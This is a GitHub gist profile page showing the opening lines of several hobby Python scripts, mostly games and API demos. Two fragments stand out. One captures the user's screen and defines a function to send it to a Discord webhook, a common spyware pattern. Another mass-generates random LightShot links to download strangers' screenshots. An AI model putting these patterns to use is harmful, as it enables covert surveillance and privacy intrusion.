Skip to content

Instantly share code, notes, and snippets.

View Looons404's full-sized avatar
🎯
Focusing

Looons404

🎯
Focusing
View GitHub Profile
@Looons404
Looons404 / rock.py
Created July 3, 2025 09:27
Rock, paper, scissor
import random
user_action = input("Enter a choice (rock, paper, scissors): ")
possible_actions = ["rock", "paper", "scissors"]
computer_action = random.choice(possible_actions)
print(f"\nYou chose {user_action}, computer chose {computer_action}.\n")
if user_action == computer_action:
print(f"Both players selected {user_action}. It's a tie!")
elif user_action == "rock":
@Looons404
Looons404 / roblox.py
Created July 3, 2025 09:25
A Python script that make a request to the Roblox server for the badges from the user you ask.
import requests
import json
from openpyxl import Workbook
def get_user_id(username):
url = "https://users.roblox.com/v1/usernames/users"
payload = {
"usernames": [username],
"excludeBannedUsers": False
}
@Looons404
Looons404 / screenshot.py
Created June 27, 2025 10:36
I... I don't have a description for this, but it's maybe useful for someone ?
import requests
from PIL import ImageGrab
import io
import time
def capture_screenshot():
screenshot = ImageGrab.grab()
return screenshot
def send_to_discord(webhook_url, screenshot):
@Looons404
Looons404 / guess_the_number.py
Created June 27, 2025 10:27
Simple guess the number game in python.
import random
number = random.sample(range(1, 10), 1)[0]
user = int(input("Entrez un nombre entre 1 et 9: "))
if user == number:
print("Congrat, you've found the correct number !")
else:
print("Sorry, this isn't the right number.")
print(f"The number was {number}.")
@Looons404
Looons404 / tts.py
Created June 27, 2025 10:23
Demo of pysstx3 Text-To-Speech with thkinter.
import tkinter as tk
from tkinter import ttk
import pyttsx3
engine = pyttsx3.init()
current_rate = engine.getProperty('rate')
current_volume = engine.getProperty('volume')
voices = engine.getProperty('voices')
current_voice_index = 0 # default
@Looons404
Looons404 / lightshot.py
Created June 25, 2025 17:28
Source code for generating 2000 random links for LightShot and downloading the image if it exist. Needing BeatifulSoup and request
import requests
from bs4 import BeautifulSoup
import random
import string
import time
import re
import os
from urllib.parse import unquote
if not os.path.exists('downloaded_images'):